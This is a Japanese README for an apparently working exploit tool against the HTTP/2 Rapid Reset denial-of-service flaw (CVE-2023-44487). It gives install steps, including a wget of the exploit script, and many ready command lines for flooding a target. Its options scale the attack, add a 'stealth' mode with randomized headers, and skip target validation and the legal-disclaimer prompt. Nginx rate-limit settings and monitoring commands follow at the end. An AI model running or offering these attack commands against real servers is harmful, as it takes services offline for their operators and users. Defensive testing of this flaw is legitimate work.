
高度なCVE-2023-44487 HTTP/2 Rapid Reset脆弱性悪用フレームワーク。マルチ接続の同時攻撃、適応型レート制御、ランダム化ヘッダーによるステルスモード、リアルタイムメトリクス、リスク評価レポートを備えています。許可されたペネトレーションテスト専用です。作者: Sudeepa Wanigarathna
CVE-2023-44487(HTTP/2 ラピッドリセット脆弱性)向けのプロフェッショナルグレードの評価フレームワークです。このツールは、セキュリティ専門家が近年公表された中でも最も影響力の大きい HTTP/2 DoS の 1 つに対して、システムのテストと検証を行うのに役立ちます。
HTTP/2 ストリームを高速に作成・リセットすることで、サーバーリソースを枯渇させ、サービス拒否(DoS)状態を引き起こす仕組みを実証します。
| 使用例 | 結果 |
|---|---|
![]() | ![]() |
| 属性 | 値 |
|---|---|
| CVE ID | CVE-2023-44487 |
| CVSS スコア | 7.5 (高) |
| 攻撃ベクトル | ネットワーク |
| 攻撃の複雑さ | 低 |
| 影響 | サービス拒否 (リソース枯渇) |
| 影響を受けるプロトコル | HTTP/2 |
| 開示日 | 2023年10月 |
この脆弱性は、HTTP/2 プロトコルのストリーム管理メカニズムを悪用します:
| 機能 | 説明 |
|---|---|
| HTTP/2 サポート | h2 ライブラリを使用した完全な HTTP/2 プロトコル実装 |
| マルチ接続 | 複数の接続にわたる同時攻撃 |
| SSL/TLS | 証明書検証オプション付きの HTTPS サポート |
| 適応型レート制御 | サーバーの応答に基づいて攻撃レートを動的に調整 |
| ステルスモード | ランダム化されたヘッダーと接続ローテーション |
| リアルタイムモニタリング | 実行中のメトリクスのライブ表示 |
| 包括的なレポート | リスク評価付きの JSON/CSV 出力 |
| Docker サポート | 簡単なテストのためのコンテナ化デプロイ |
| コンポーネント | 最小 | 推奨 |
|---|---|---|
| OS | Linux / macOS / Windows | Linux または macOS |
| Python | 3.7+ | 3.11+ |
| CPU | 2 コア | 4 コア以上 |
| RAM | 2GB | 4GB 以上 |
| ネットワーク | 100Mbps | 1Gbps 以上 |
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
| オプション | 説明 | デフォルト |
|---|---|---|
host | ターゲットのホスト名または IP | 必須 |
-p, --port | ターゲットポート | 443 |
--no-ssl | SSL/TLS を無効化 | False |
--no-verify | SSL 検証をスキップ | False |
| オプション | 説明 | デフォルト |
|---|---|---|
-c, --connections | 同時接続数 | 50 |
-s, --streams | 接続あたりのストリーム数 | 1000 |
-d, --duration | 実行時間(秒) | 30 |
--max-streams | 最大総ストリーム数 | 100000 |
--delay | 操作間の基本遅延 | 0.0001s |
| オプション | 説明 | デフォルト |
|---|---|---|
--adaptive | 適応型レート制御 | True |
--target-rps | 1 秒あたりのターゲットリクエスト数 | 10000 |
--stealth | ステルスモード(ランダムヘッダー) | False |
--skip-validation | ターゲット検証をスキップ | False |
--force | 法的免責事項のプロンプトをスキップ | False |
| オプション | 説明 | デフォルト |
|---|---|---|
-o, --output | 出力ファイル名 | exploit_results.json |
--format | 出力形式(json / csv / console) | json |
-v, --verbose | 詳細ロギング | False |
上記の CLI フラグを使用して、同時実行数、ストリーム量、実行時間、レポートを調整します。初期検証では低い -c / -s / -d 値を推奨し、ストレステストを許可されたシステムでのみスケールアップしてください。
| シナリオ | 推奨フラグ |
|---|---|
| スモークテスト | -c 10 -s 100 -d 5 |
| 標準評価 | -c 50 -s 1000 -d 30 |
| 高負荷ラボテスト | -c 100 -s 2000 -d 60 --stealth |
| 信頼できない証明書 | --no-verify |
| 平文 HTTP | -p 80 --no-ssl |
docker build -t cve-2023-44487-exploit .
docker run --rm cve-2023-44487-exploit target.com
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
| メトリクス | 説明 | 解釈 |
|---|---|---|
| 総ストリーム数 | 作成されたストリーム数 | 数が多いほど、生成される負荷が大きい |
| 成功したリセット | 正常にリセットされたストリーム数 | 脆弱なターゲットでは通常 90% 超 |
| リセットレート (RPS) | 1 秒あたりのリセット数 | レートが高いほど、負荷がより効果的 |
| 成功率 | リセット成功の割合 | 90% 超は多くの場合、脆弱性にさらされていることを示す |
| 接続エラー | 失敗した接続数 | 低い = 安定した接続 |
| サーバーリセット | サーバー側で開始されたリセット数 | 高い = 保護対策が存在する |
| レベル | スコア | 意味 |
|---|---|---|
| CRITICAL(重大) | 80–100 | サーバーは非常に脆弱 |
| HIGH(高) | 60–79 | サーバーは脆弱で、一部保護あり |
| MEDIUM(中) | 40–59 | ある程度の保護が導入されている |
| LOW(低) | 0–39 | 十分に保護されたサーバー |
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
セキュリティパッチの適用
レート制限の実装
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
接続数の制限
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
| 設定 | 推奨事項 |
|---|---|
| 最大同時ストリーム数 | 接続あたり 100〜200 に設定 |
| ストリームリセットレート | クライアントあたり <100/秒 に制限 |
| 接続制限 | IP あたり最大 50〜100 接続 |
| タイムアウト値 | アイドルタイムアウトを短縮 |
| リクエストサイズ制限 | ヘッダーサイズとペイロードを制限 |
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
重要: このツールを使用する前に注意深くお読みください
このツールは許可されたセキュリティテストおよび教育目的のみで提供されます。
このツールを使用することにより、以下を理解し、同意したものとみなされます:
このツールを以下の目的で使用してはなりません:
著者および貢献者は、このツールをいかなる保証もなく「現状のまま」提供します。このツールの使用は自己責任です。著者は、このツールの使用によって生じたいかなる損害や法的問題についても責任を負いません。
このツールの不正使用は、以下の法律に違反する可能性があります(これらに限りません):
Sudeepa Wanigarathna
connection_attempts 属性エラーを修正--skip-validation フラグを追加このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
h2、aiohttp プロジェクト)問題や質問については:
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
注意: システムをテストする前に、必ず適切な許可を取得してください。このツールを責任を持って倫理的に使用してください。
メンテナー: Sudeepa Wanigarathna | 最終更新: 2026年8月